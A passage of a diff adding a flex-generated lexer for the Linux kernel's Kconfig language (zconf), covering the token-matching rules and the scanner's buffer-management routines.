visible to non-reentrant scanners for convenience. */ + +int zconflex_destroy (void ); + +int zconfget_debug (void ); + +void zconfset_debug (int debug_flag ); + +YY_EXTRA_TYPE zconfget_extra (void ); + +void zconfset_extra (YY_EXTRA_TYPE user_defined ); + +FILE *zconfget_in (void ); + +void zconfset_in (FILE * in_str ); + +FILE *zconfget_out (void ); + +void zconfset_out (FILE * out_str ); + +int zconfget_leng (void ); + +char *zconfget_text (void ); + +int zconfget_lineno (void ); + +void zconfset_lineno (int line_number ); + +/* Macros after this point can all be overridden by user definitions in + * section 1. + */ + +#ifndef YY_SKIP_YYWRAP +#ifdef __cplusplus +extern "C" int zconfwrap (void ); +#else +extern int zconfwrap (void ); +#endif +#endif + + static void yyunput (int c,char *buf_ptr ); + +#ifndef yytext_ptr +static void yy_flex_strncpy (char *,yyconst char *,int ); +#endif + +#ifdef YY_NEED_STRLEN +static int yy_flex_strlen (yyconst char * ); +#endif + +#ifndef YY_NO_INPUT + +#ifdef __cplusplus +static int yyinput (void ); +#else +static int input (void ); +#endif + +#endif + +/* Amount of stuff to slurp up with each read. */ +#ifndef YY_READ_BUF_SIZE +#define YY_READ_BUF_SIZE 8192 +#endif + +/* Copy whatever the last rule matched to the standard output. */ +#ifndef ECHO +/* This used to be an fputs(), but since the string might contain NUL's, + * we now use fwrite(). + */ +#define ECHO do { if (fwrite( zconftext, zconfleng, 1, zconfout )) {} } while (0) +#endif + +/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL, + * is returned in "result". + */ +#ifndef YY_INPUT +#define YY_INPUT(buf,result,max_size) \ + errno=0; \ + while ( (result = read( fileno(zconfin), (char *) buf, max_size )) < 0 ) \ + { \ + if( errno != EINTR) \ + { \ + YY_FATAL_ERROR( "input in flex scanner failed" ); \ + break; \ + } \ + errno=0; \ + clearerr(zconfin); \ + }\ +\ + +#endif + +/* No semi-colon after return; correct usage is to write "yyterminate();" - + * we don't want an extra ';' after the "return" because that will cause + * some compilers to complain about unreachable statements. + */ +#ifndef yyterminate +#define yyterminate() return YY_NULL +#endif + +/* Number of entries by which start-condition stack grows. */ +#ifndef YY_START_STACK_INCR +#define YY_START_STACK_INCR 25 +#endif + +/* Report a fatal error. */ +#ifndef YY_FATAL_ERROR +#define YY_FATAL_ERROR(msg) yy_fatal_error( msg ) +#endif + +/* end tables serialization structures and prototypes */ + +/* Default declaration of generated scanner - a define so the user can + * easily add parameters. + */ +#ifndef YY_DECL +#define YY_DECL_IS_OURS 1 + +extern int zconflex (void); + +#define YY_DECL int zconflex (void) +#endif /* !YY_DECL */ + +/* Code executed at the beginning of each rule, after zconftext and zconfleng + * have been set up. + */ +#ifndef YY_USER_ACTION +#define YY_USER_ACTION +#endif + +/* Code executed at the end of each rule. */ +#ifndef YY_BREAK +#define YY_BREAK break; +#endif + +#define YY_RULE_SETUP \ + YY_USER_ACTION + +/** The main scanner function which does all the work. + */ +YY_DECL +{ + register yy_state_type yy_current_state; + register char *yy_cp, *yy_bp; + register int yy_act; + + int str = 0; + int ts, i; + + if ( !(yy_init) ) + { + (yy_init) = 1; + +#ifdef YY_USER_INIT + YY_USER_INIT; +#endif + + if ( ! (yy_start) ) + (yy_start) = 1; /* first start state */ + + if ( ! zconfin ) + zconfin = stdin; + + if ( ! zconfout ) + zconfout = stdout; + + if ( ! YY_CURRENT_BUFFER ) { + zconfensure_buffer_stack (); + YY_CURRENT_BUFFER_LVALUE = + zconf_create_buffer(zconfin,YY_BUF_SIZE ); + } + + zconf_load_buffer_state( ); + } + + while ( 1 ) /* loops until end-of-file is reached */ + { + yy_cp = (yy_c_buf_p); + + /* Support of zconftext. */ + *yy_cp = (yy_hold_char); + + /* yy_bp points to the position in yy_ch_buf of the start of + * the current run. + */ + yy_bp = yy_cp; + + yy_current_state = (yy_start); +yy_match: + while ( (yy_current_state = yy_nxt[yy_current_state][ yy_ec[YY_SC_TO_UI(*yy_cp)] ]) > 0 ) + ++yy_cp; + + yy_current_state = -yy_current_state; + +yy_find_action: + yy_act = yy_accept[yy_current_state]; + + YY_DO_BEFORE_ACTION; + +do_action: /* This label is used only to access EOF actions. */ + + switch ( yy_act ) + { /* beginning of action switch */ +case 1: +/* rule 1 can match eol */ +case 2: +/* rule 2 can match eol */ +YY_RULE_SETUP +{ + current_file->lineno++; + return T_EOL; +} + YY_BREAK +case 3: +YY_RULE_SETUP + + YY_BREAK +case 4: +YY_RULE_SETUP +{ + BEGIN(COMMAND); +} + YY_BREAK +case 5: +YY_RULE_SETUP +{ + unput(zconftext[0]); + BEGIN(COMMAND); +} + YY_BREAK + +case 6: +YY_RULE_SETUP +{ + const struct kconf_id *id = kconf_id_lookup(zconftext, zconfleng); + BEGIN(PARAM); + current_pos.file = current_file; + current_pos.lineno = current_file->lineno; + if (id && id->flags & TF_COMMAND) { + zconflval.id = id; + return id->token; + } + alloc_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD; + } + YY_BREAK +case 7: +YY_RULE_SETUP + + YY_BREAK +case 8: +/* rule 8 can match eol */ +YY_RULE_SETUP +{ + BEGIN(INITIAL); + current_file->lineno++; + return T_EOL; + } + YY_BREAK + +case 9: +YY_RULE_SETUP +return T_AND; + YY_BREAK +case 10: +YY_RULE_SETUP +return T_OR; + YY_BREAK +case 11: +YY_RULE_SETUP +return T_OPEN_PAREN; + YY_BREAK +case 12: +YY_RULE_SETUP +return T_CLOSE_PAREN; + YY_BREAK +case 13: +YY_RULE_SETUP +return T_NOT; + YY_BREAK +case 14: +YY_RULE_SETUP +return T_EQUAL; + YY_BREAK +case 15: +YY_RULE_SETUP +return T_UNEQUAL; + YY_BREAK +case 16: +YY_RULE_SETUP +{ + str = zconftext[0]; + new_string(); + BEGIN(STRING); + } + YY_BREAK +case 17: +/* rule 17 can match eol */ +YY_RULE_SETUP +BEGIN(INITIAL); current_file->lineno++; return T_EOL; + YY_BREAK +case 18: +YY_RULE_SETUP +/* ignore */ + YY_BREAK +case 19: +YY_RULE_SETUP +{ + const struct kconf_id *id = kconf_id_lookup(zconftext, zconfleng); + if (id && id->flags & TF_PARAM) { + zconflval.id = id; + return id->token; + } + alloc_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD; + } + YY_BREAK +case 20: +YY_RULE_SETUP +/* comment */ + YY_BREAK +case 21: +/* rule 21 can match eol */ +YY_RULE_SETUP +current_file->lineno++; + YY_BREAK +case 22: +YY_RULE_SETUP + + YY_BREAK +case YY_STATE_EOF(PARAM): +{ + BEGIN(INITIAL); + } + YY_BREAK + +case 23: +/* rule 23 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + append_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD_QUOTE; + } + YY_BREAK +case 24: +YY_RULE_SETUP +{ + append_string(zconftext, zconfleng); + } + YY_BREAK +case 25: +/* rule 25 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + append_string(zconftext + 1, zconfleng - 1); + zconflval.string = text; + return T_WORD_QUOTE; + } + YY_BREAK +case 26: +YY_RULE_SETUP +{ + append_string(zconftext + 1, zconfleng - 1); + } + YY_BREAK +case 27: +YY_RULE_SETUP +{ + if (str == zconftext[0]) { + BEGIN(PARAM); + zconflval.string = text; + return T_WORD_QUOTE; + } else + append_string(zconftext, 1); + } + YY_BREAK +case 28: +/* rule 28 can match eol */ +YY_RULE_SETUP +{ + printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno()); + current_file->lineno++; + BEGIN(INITIAL); + return T_EOL; + } + YY_BREAK +case YY_STATE_EOF(STRING): +{ + BEGIN(INITIAL); + } + YY_BREAK + +case 29: +YY_RULE_SETUP +{ + ts = 0; + for (i = 0; i < zconfleng; i++) { + if (zconftext[i] == '\t') + ts = (ts & ~7) + 8; + else + ts++; + } + last_ts = ts; + if (first_ts) { + if (ts < first_ts) { + zconf_endhelp(); + return T_HELPTEXT; + } + ts -= first_ts; + while (ts > 8) { + append_string(" ", 8); + ts -= 8; + } + append_string(" ", ts); + } + } + YY_BREAK +case 30: +/* rule 30 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + current_file->lineno++; + zconf_endhelp(); + return T_HELPTEXT; + } + YY_BREAK +case 31: +/* rule 31 can match eol */ +YY_RULE_SETUP +{ + current_file->lineno++; + append_string("\n", 1); + } + YY_BREAK +case 32: +YY_RULE_SETUP +{ + while (zconfleng) { + if ((zconftext[zconfleng-1] != ' ') && (zconftext[zconfleng-1] != '\t')) + break; + zconfleng--; + } + append_string(zconftext, zconfleng); + if (!first_ts) + first_ts = last_ts; + } + YY_BREAK +case YY_STATE_EOF(HELP): +{ + zconf_endhelp(); + return T_HELPTEXT; + } + YY_BREAK + +case YY_STATE_EOF(INITIAL): +case YY_STATE_EOF(COMMAND): +{ + if (current_file) { + zconf_endfile(); + return T_EOL; + } + fclose(zconfin); + yyterminate(); +} + YY_BREAK +case 33: +YY_RULE_SETUP +YY_FATAL_ERROR( "flex scanner jammed" ); + YY_BREAK + + case YY_END_OF_BUFFER: + { + /* Amount of text matched not including the EOB char. */ + int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1; + + /* Undo the effects of YY_DO_BEFORE_ACTION. */ + *yy_cp = (yy_hold_char); + YY_RESTORE_YY_MORE_OFFSET + + if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW ) + { + /* We're scanning a new file or input source. It's + * possible that this happened because the user + * just pointed zconfin at a new source and called + * zconflex(). If so, then we have to assure + * consistency between YY_CURRENT_BUFFER and our + * globals. Here is the right place to do so, because + * this is the first action (other than possibly a + * back-up) that will match for the new input source. + */ + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars; + YY_CURRENT_BUFFER_LVALUE->yy_input_file = zconfin; + YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL; + } + + /* Note that here we test for yy_c_buf_p "<=" to the position + * of the first EOB in the buffer, since yy_c_buf_p will + * already have been incremented past the NUL character + * (since all states make transitions on EOB to the + * end-of-buffer state). Contrast this with the test + * in input(). + */ + if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] ) + { /* This was really a NUL. */ + yy_state_type yy_next_state; + + (yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state( ); + + /* Okay, we're now positioned to make the NUL + * transition. We couldn't have + * yy_get_previous_state() go ahead and do it + * for us because it doesn't know how to deal + * with the possibility of jamming (and we don't + * want to build jamming into it because then it + * will run more slowly). + */ + + yy_next_state = yy_try_NUL_trans( yy_current_state ); + + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + + if ( yy_next_state ) + { + /* Consume the NUL. */ + yy_cp = ++(yy_c_buf_p); + yy_current_state = yy_next_state; + goto yy_match; + } + + else + { + yy_cp = (yy_c_buf_p); + goto yy_find_action; + } + } + + else switch ( yy_get_next_buffer( ) ) + { + case EOB_ACT_END_OF_FILE: + { + (yy_did_buffer_switch_on_eof) = 0; + + if ( zconfwrap( ) ) + { + /* Note: because we've taken care in + * yy_get_next_buffer() to have set up + * zconftext, we can now set up + * yy_c_buf_p so that if some total + * hoser (like flex itself) wants to + * call the scanner after we return the + * YY_NULL, it'll still work - another + * YY_NULL will get returned. + */ + (yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ; + + yy_act = YY_STATE_EOF(YY_START); + goto do_action; + } + + else + { + if ( ! (yy_did_buffer_switch_on_eof) ) + YY_NEW_FILE; + } + break; + } + + case EOB_ACT_CONTINUE_SCAN: + (yy_c_buf_p) = + (yytext_ptr) + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state( ); + + yy_cp = (yy_c_buf_p); + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + goto yy_match; + + case EOB_ACT_LAST_MATCH: + (yy_c_buf_p) = + &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)]; + + yy_current_state = yy_get_previous_state( ); + + yy_cp = (yy_c_buf_p); + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + goto yy_find_action; + } + break; + } + + default: + YY_FATAL_ERROR( + "fatal flex scanner internal error--no action found" ); + } /* end of action switch */ + } /* end of scanning one token */ +} /* end of zconflex */ + +/* yy_get_next_buffer - try to read in a new buffer + * + * Returns a code representing an action: + * EOB_ACT_LAST_MATCH - + * EOB_ACT_CONTINUE_SCAN - continue scanning from current position + * EOB_ACT_END_OF_FILE - end of file + */ +static int yy_get_next_buffer (void) +{ + register char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf; + register char *source = (yytext_ptr); + register int number_to_move, i; + int ret_val; + + if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] ) + YY_FATAL_ERROR( + "fatal flex scanner internal error--end of buffer missed" ); + + if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 ) + { /* Don't try to fill the buffer, so this is an EOF. */ + if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 ) + { + /* We matched a single character, the EOB, so + * treat this as a final EOF. + */ + return EOB_ACT_END_OF_FILE; + } + + else + { + /* We matched some text prior to the EOB, first + * process it. + */ + return EOB_ACT_LAST_MATCH; + } + } + + /* Try to read more data. */ + + /* First move last chars to start of buffer. */ + number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr)) - 1; + + for ( i = 0; i < number_to_move; ++i ) + *(dest++) = *(source++); + + if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING ) + /* don't do the read, it's not guaranteed to return an EOF, + * just force an EOF + */ + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0; + + else + { + int num_to_read = + YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1; + + while ( num_to_read <= 0 ) + { /* Not enough room in the buffer - grow it. */ + + /* just a shorter name for the current buffer */ + YY_BUFFER_STATE b = YY_CURRENT_BUFFER; + + int yy_c_buf_p_offset = + (int) ((yy_c_buf_p) - b->yy_ch_buf); + + if ( b->yy_is_our_buffer ) + { + int new_size = b->yy_buf_size * 2; + + if ( new_size <= 0 ) + b->yy_buf_size += b->yy_buf_size / 8; + else + b->yy_buf_size *= 2; + + b->yy_ch_buf = (char *) + /* Include room in for 2 EOB chars. */ + zconfrealloc((void *) b->yy_ch_buf,b->yy_buf_size + 2 ); + } + else + /* Can't grow it, we don't own it. */ + b->yy_ch_buf = 0; + + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( + "fatal error - scanner input buffer overflow" ); + + (yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset]; + + num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size - + number_to_move - 1; + + } + + if ( num_to_read > YY_READ_BUF_SIZE ) + num_to_read = YY_READ_BUF_SIZE; + + /* Read in more data. */ + YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]), + (yy_n_chars), (size_t) num_to_read ); + + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + if ( (yy_n_chars) == 0 ) + { + if ( number_to_move == YY_MORE_ADJ ) + { + ret_val = EOB_ACT_END_OF_FILE; + zconfrestart(zconfin ); + } + + else + { + ret_val = EOB_ACT_LAST_MATCH; + YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = + YY_BUFFER_EOF_PENDING; + } + } + + else + ret_val = EOB_ACT_CONTINUE_SCAN; + + if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) { + /* Extend the array by 50%, plus the number we really need. */ + yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1); + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) zconfrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size ); + if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf ) + YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" ); + } + + (yy_n_chars) += number_to_move; + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR; + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR; + + (yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0]; + + return ret_val; +} + +/* yy_get_previous_state - get the state just before the EOB char was reached */ + + static yy_state_type yy_get_previous_state (void) +{ + register yy_state_type yy_current_state; + register char *yy_cp; + + yy_current_state = (yy_start); + + for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp ) + { + yy_current_state = yy_nxt[yy_current_state][(*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1)]; + } + + return yy_current_state; +} + +/* yy_try_NUL_trans - try to make a transition on the NUL character + * + * synopsis + * next_state = yy_try_NUL_trans( current_state ); + */ + static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state ) +{ + register int yy_is_jam; + + yy_current_state = yy_nxt[yy_current_state][1]; + yy_is_jam = (yy_current_state <= 0); + + return yy_is_jam ? 0 : yy_current_state; +} + + static void yyunput (int c, register char * yy_bp ) +{ + register char *yy_cp; + + yy_cp = (yy_c_buf_p); + + /* undo effects of setting up zconftext */ + *yy_cp = (yy_hold_char); + + if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 ) + { /* need to shift things up to make room */ + /* +2 for EOB chars. */ + register int number_to_move = (yy_n_chars) + 2; + register char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[ + YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2]; + register char *source = + &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]; + + while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf ) + *--dest = *--source; + + yy_cp += (int) (dest - source); + yy_bp += (int) (dest - source); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_buf_size; + + if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 ) + YY_FATAL_ERROR( "flex scanner push-back overflow" ); + } + + *--yy_cp = (char) c; + + (yytext_ptr) = yy_bp; + (yy_hold_char) = *yy_cp; + (yy_c_buf_p) = yy_cp; +} + +#ifndef YY_NO_INPUT +#ifdef __cplusplus + static int yyinput (void) +#else + static int input (void) +#endif + +{ + int c; + + *(yy_c_buf_p) = (yy_hold_char); + + if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR ) + { + /* yy_c_buf_p now points to the character we want to return. + * If this occurs *before* the EOB characters, then it's a + * valid NUL; if not, then we've hit the end of the buffer. + */ + if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] ) + /* This was really a NUL. */ + *(yy_c_buf_p) = '\0'; + + else + { /* need more input */ + int offset = (yy_c_buf_p) - (yytext_ptr); + ++(yy_c_buf_p); + + switch ( yy_get_next_buffer( ) ) + { + case EOB_ACT_LAST_MATCH: + /* This happens because yy_g_n_b() + * sees that we've accumulated a + * token and flags that we need to + * try matching the token before + * proceeding. But for input(), + * there's no matching to consider. + * So convert the EOB_ACT_LAST_MATCH + * to EOB_ACT_END_OF_FILE. + */ + + /* Reset buffer status. */ + zconfrestart(zconfin ); + + /*FALLTHROUGH*/ + + case EOB_ACT_END_OF_FILE: + { + if ( zconfwrap( ) ) + return EOF; + + if ( ! (yy_did_buffer_switch_on_eof) ) + YY_NEW_FILE; +#ifdef __cplusplus + return yyinput(); +#else + return input(); +#endif + } + + case EOB_ACT_CONTINUE_SCAN: + (yy_c_buf_p) = (yytext_ptr) + offset; + break; + } + } + } + + c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */ + *(yy_c_buf_p) = '\0'; /* preserve zconftext */ + (yy_hold_char) = *++(yy_c_buf_p); + + return c; +} +#endif /* ifndef YY_NO_INPUT */ + +/** Immediately switch to a different input stream. + * @param input_file A readable stream. + * + * @note This function does not reset the start condition to @c INITIAL . + */ + void zconfrestart (FILE * input_file ) +{ + + if ( ! YY_CURRENT_BUFFER ){ + zconfensure_buffer_stack (); + YY_CURRENT_BUFFER_LVALUE = + zconf_create_buffer(zconfin,YY_BUF_SIZE ); + } + + zconf_init_buffer(YY_CURRENT_BUFFER,input_file ); + zconf_load_buffer_state( ); +} + +/** Switch to a different input buffer. + * @param new_buffer The new input buffer. + * + */ + void zconf_switch_to_buffer (YY_BUFFER_STATE new_buffer ) +{ + + /* TODO. We should be able to replace this entire function body + * with + * zconfpop_buffer_state(); + * zconfpush_buffer_state(new_buffer); + */ + zconfensure_buffer_stack (); + if ( YY_CURRENT_BUFFER == new_buffer ) + return; + + if ( YY_CURRENT_BUFFER ) + { + /* Flush out information for old buffer. */ + *(yy_c_buf_p) = (yy_hold_char); + YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + YY_CURRENT_BUFFER_LVALUE = new_buffer; + zconf_load_buffer_state( ); + + /* We don't actually know whether we did this switch during + * EOF (zconfwrap()) processing, but the only time this flag + * is looked at is after zconfwrap() is called, so it's safe + * to go ahead and always set it. + */ + (yy_did_buffer_switch_on_eof) = 1; +} + +static void zconf_load_buffer_state (void) +{ + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars; + (yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos; + zconfin = YY_CURRENT_BUFFER_LVALUE->yy_input_file; + (yy_hold_char) = *(yy_c_buf_p); +} + +/** Allocate and initialize an input buffer state. + * @param file A readable stream. + * @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE. + * + * @return the allocated buffer state. + */ + YY_BUFFER_STATE zconf_create_buffer (FILE * file, int size ) +{ + YY_BUFFER_STATE b; + + b = (YY_BUFFER_STATE) zconfalloc(sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_create_buffer()" ); + + b->yy_buf_size = size; + + /* yy_ch_buf has to be 2 characters longer than the size given because + * we need to put in 2 end-of-buffer characters. + */ + b->yy_ch_buf = (char *) zconfalloc(b->yy_buf_size + 2 ); + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_create_buffer()" ); + + b->yy_is_our_buffer = 1; + + zconf_init_buffer(b,file ); + + return b; +} + +/** Destroy the buffer. + * @param b a buffer created with zconf_create_buffer() + * + */ + void zconf_delete_buffer (YY_BUFFER_STATE b ) +{ + + if ( ! b ) + return; + + if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */ + YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0; + + if ( b->yy_is_our_buffer ) + zconffree((void *) b->yy_ch_buf ); + + zconffree((void *) b ); +} + +/* Initializes or reinitializes a buffer. + * This function is sometimes called more than once on the same buffer, + * such as during a zconfrestart() or at EOF. + */ + static void zconf_init_buffer (YY_BUFFER_STATE b, FILE * file ) + +{ + int oerrno = errno; + + zconf_flush_buffer(b ); + + b->yy_input_file = file; + b->yy_fill_buffer = 1; + + /* If b is the current buffer, then zconf_init_buffer was _probably_ + * called from zconfrestart() or through yy_get_next_buffer. + * In that case, we don't want to reset the lineno or column. + */ + if (b != YY_CURRENT_BUFFER){ + b->yy_bs_lineno = 1; + b->yy_bs_column = 0; + } + + b->yy_is_interactive = 0; + + errno = oerrno; +} + +/** Discard all buffered characters. On the next scan, YY_INPUT will be called. + * @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER. + * + */ + void zconf_flush_buffer (YY_BUFFER_STATE b ) +{ + if ( ! b ) + return; + + b->yy_n_chars = 0; + + /* We always need two end-of-buffer characters. The first causes + * a transition to the end-of-buffer state. The second causes + * a jam in that state. + */ + b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR; + b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR; + + b->yy_buf_pos = &b->yy_ch_buf[0]; + + b->yy_at_bol = 1; + b->yy_buffer_status = YY_BUFFER_NEW; + + if ( b == YY_CURRENT_BUFFER ) + zconf_load_buffer_state( ); +} + +/** Pushes the new state onto the stack. The new state becomes + * the current state. This function will allocate the stack + * if necessary. + * @param new_buffer The new state. + * + */ +void zconfpush_buffer_state (YY_BUFFER_STATE new_buffer ) +{ + if (new_buffer == NULL) + return; + + zconfensure_buffer_stack(); + + /* This block is copied from zconf_switch_to_buffer. */ + if ( YY_CURRENT_BUFFER ) + { + /* Flush out information for old buffer. */ + *(yy_c_buf_p) = (yy_hold_char); + YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + /* Only push if top exists. Otherwise, replace top. */ + if (YY_CURRENT_BUFFER) + (yy_buffer_stack_top)++; + YY_CURRENT_BUFFER_LVALUE = new_buffer; + + /* copied from zconf_switch_to_buffer. */ + zconf_load_buffer_state( ); + (yy_did_buffer_switch_on_eof) = 1; +} + +/** Removes and deletes the top of the stack, if present. + * The next element becomes the new top. + * + */ +void zconfpop_buffer_state (void) +{ + if (!YY_CURRENT_BUFFER) + return; + + zconf_delete_buffer(YY_CURRENT_BUFFER ); + YY_CURRENT_BUFFER_LVALUE = NULL; + if ((yy_buffer_stack_top) > 0) + --(yy_buffer_stack_top); + + if (YY_CURRENT_BUFFER) { + zconf_load_buffer_state( ); + (yy_did_buffer_switch_on_eof) = 1; + } +} + +/* Allocates the stack if it does not exist. + * Guarantees space for at least one push. + */ +static void zconfensure_buffer_stack (void) +{ + int num_to_alloc; + + if (!(yy_buffer_stack)) { + + /* First allocation is just for 2 elements, since we don't know if this + * scanner will even need a stack. We use 2 instead of 1 to avoid an + * immediate realloc on the next call. + */ + num_to_alloc = 1; + (yy_buffer_stack) = (struct yy_buffer_state**)zconfalloc + (num_to_alloc * sizeof(struct yy_buffer_state*) + ); + if ( ! (yy_buffer_stack) ) + YY_FATAL_ERROR( "out of dynamic memory in zconfensure_buffer_stack()" ); + + memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*)); + + (yy_buffer_stack_max) = num_to_alloc; + (yy_buffer_stack_top) = 0; + return; + } + + if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){ + + /* Increase the buffer to prepare for a possible push. */ + int grow_size = 8 /* arbitrary grow size */; + + num_to_alloc = (yy_buffer_stack_max) + grow_size; + (yy_buffer_stack) = (struct yy_buffer_state**)zconfrealloc + ((yy_buffer_stack), + num_to_alloc * sizeof(struct yy_buffer_state*) + ); + if ( ! (yy_buffer_stack) ) + YY_FATAL_ERROR( "out of dynamic memory in zconfensure_buffer_stack()" ); + + /* zero only the new slots.*/ + memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*)); + (yy_buffer_stack_max) = num_to_alloc; + } +} + +/** Setup the input buffer state to scan directly from a user-specified character buffer. + * @param base the character buffer + * @param size the size in bytes of the character buffer + * + * @return the newly allocated buffer state object. + */ +YY_BUFFER_STATE zconf_scan_buffer (char * base, yy_size_t size ) +{ + YY_BUFFER_STATE b; + + if ( size < 2 || + base[size-2] != YY_END_OF_BUFFER_CHAR || + base[size-1] != YY_END_OF_BUFFER_CHAR ) + /* They forgot to leave room for the EOB's. */ + return 0; + + b = (YY_BUFFER_STATE) zconfalloc(sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_scan_buffer()" ); + + b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */ + b->yy_buf_pos = b->yy_ch_buf = base; + b->yy_is_our_buffer = 0; + b->yy_input_file = 0; + b->yy_n_chars = b->yy_buf_size; + b->yy_is_interactive = 0; + b->yy_at_bol = 1; + b->yy_fill_buffer = 0; + b->yy_buffer_status = YY_BUFFER_NEW; + + zconf_switch_to_buffer(b ); + + return b; +} + +/** Setup the input buffer state to scan a string. The next call to zconflex() will + * scan from a @e copy of @a str. + * @param yystr a NUL-terminated string to scan + * + * @return the newly allocated buffer state object. + * @note If you want to scan bytes that may contain NUL values, then use + * zconf_scan_bytes() instead. + */ +YY_BUFFER_STATE zconf_scan_string (yyconst char * yystr ) +{ + + return zconf_scan_bytes(yystr,strlen(yystr) ); +} + +/** Setup the input buffer state to scan the given bytes. The next call to zconflex() will + * scan from a @e copy of @a bytes. + * @param bytes the byte buffer to scan + * @param len the number of bytes in the buffer pointed to by @a bytes. + * + * @return the newly allocated buffer state object. + */ +YY_BUFFER_STATE zconf_scan_bytes (yyconst char * yybytes, int _yybytes_len ) +{ + YY_BUFFER_STATE b; + char *buf; + yy_size_t n; + int i; + + /* Get memory for full buffer, including space for trailing EOB's. */ + n = _yybytes_len + 2; + buf = (char *) zconfalloc(n ); + if ( ! buf ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_scan_bytes()" 